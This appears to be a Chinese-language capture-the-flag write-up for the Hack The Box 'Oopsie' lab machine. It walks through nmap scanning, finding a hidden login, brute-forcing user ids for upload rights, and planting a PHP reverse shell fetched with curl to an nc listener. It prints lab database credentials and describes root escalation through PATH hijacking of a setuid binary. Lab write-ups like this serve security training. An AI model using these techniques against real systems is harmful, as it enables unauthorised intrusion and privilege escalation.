信息收集
- nmap扫描ip地址
nmap -sC -sV 10.10.10.28
- -sV返回选项找出远程主机上运行的服务版本。
- -sC: 等价于–script=default,使用默认类别的脚本进行扫描 可更换其他类别
22端口就是ssh端口 - 靶机是Ubuntu系统,开放了22端口和80端口
22端口: ssh端口
80端口:80端口是为HTTP(HyperText Transport Protocol)即超文本传输协议开放的,此为上网冲浪使用次数最多的协议,主要用于WWW(World Wide Web)即万维网传输信息的协议。
可以通过HTTP地址(即常说的“网址”)加“: 80”来访问网站,因为浏览网页服务默认的端口号都是80
- 这样看来Nmap扫描得不到什么有用的信息.
- 访问网站 最下面提示我们
Please login to get access to the service.
- 所以需用找到登录界面
- 这里有三种方法去寻找登录界面
- burpsuit抓包后 Forward 在Target中可以得到网站的层次结构 发现
cdn-cgi
- F12可以发现页面代码中有隐藏的登录界面的路径
- dirsearch默认字典里面没有cdn-cgi 这个方法舍弃
登录
- 访问
http://10.10.10.28/cdn-cgi/login
- 页面是一个登录框 这里可以利用爆破登录
- 账号密码是
admin/MEGACORP_4dm1n!!
是上一个靶机的账号密码 - 登录成功后 页面有个菜单栏逐一点开看看
- account
- uploads
- 上传文件需要super admin rights
- 这两个页面我都抓了包 看看抓包的内容
- account
- uploads
- 所以我们需要去尝试获取super admin rights
- 将account抓包内容放入intruder模块 爆破id
- 得到6个有效的用户 测试发现 id=30是超级用户
- 抓取uploads的包 修改id
- 点击Forward 页面返回 文件上传页面
webshell
- 利用kali自带的
/usr/share/webshells/php/php-reverse-shell.php
去获取shell - 这里注意需要将
/usr/share/webshells/php/php-reverse-shell.php
修改为开VPN后的IP
- 文件上传成功后去利用文件 需要知道文件的路径
- 猜测文件上传到uploads文件夹中
- nc监听1234端口
- 尝试获取webshell
curl http://10.10.10.28/uploads/php-reverse-shell.php
- 成功获取webshell
- 升级shell 这里我用的是自己的方法
python3 -c "import pty;pty.spawn('/bin/bash')"
- 这里转载一下别人的方法
- 查看 网站的文件
www-data@oopsie:/var/www/html/cdn-cgi/login$ ls
ls
admin.php db.php index.php script.js
www-data@oopsie:/var/www/html/cdn-cgi/login$ cat db.php
cat db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
权限提升
- 登录robert账号
- 发现robert账户具有两个组的权限 分别是 robert和bugtracker
- Find查找bugtracker组是否具有特殊的权限
- 使用find命令查找系统中属于bugtracker用户组的文件,发现了/usr/bin/bugtracker这个可执行二进制文件(具有x权限),且该文件的setuid位被设置为s(此处是重点),切换到robert用户并执行bugtracker命令。
- 输入id后 会返回一个以该程序为编号的漏洞报告,利用strings打印出该二进制可打印出的内容
- 看看有没有利用的地方
- bugtracker调用系统中的cat命令输出了位于/root/reports/目录下的bug报告,正常情况下robert用户是无权限访问/root目录的,而当bugtracker设置了setuid后就拥有了/root目录的访问,即具有了root权限
- bugtracker调用cat命令没有使用cat命令的绝对路径,而是使用绝对路径调用的,即在当前用户的$PATH环境变量指定的路径中搜寻cat命令。
可以创建一个名为cat的恶意命令,并修改当前用户的$PATH值以使bugtracker调用恶意cat命令,以获取root权限。
- 接下来就是操作了
- 修改环境变量
- 写入恶意的cat文件 去执行命令 注意要写到tmp文件夹
- 利用bugtracker成功获取root权限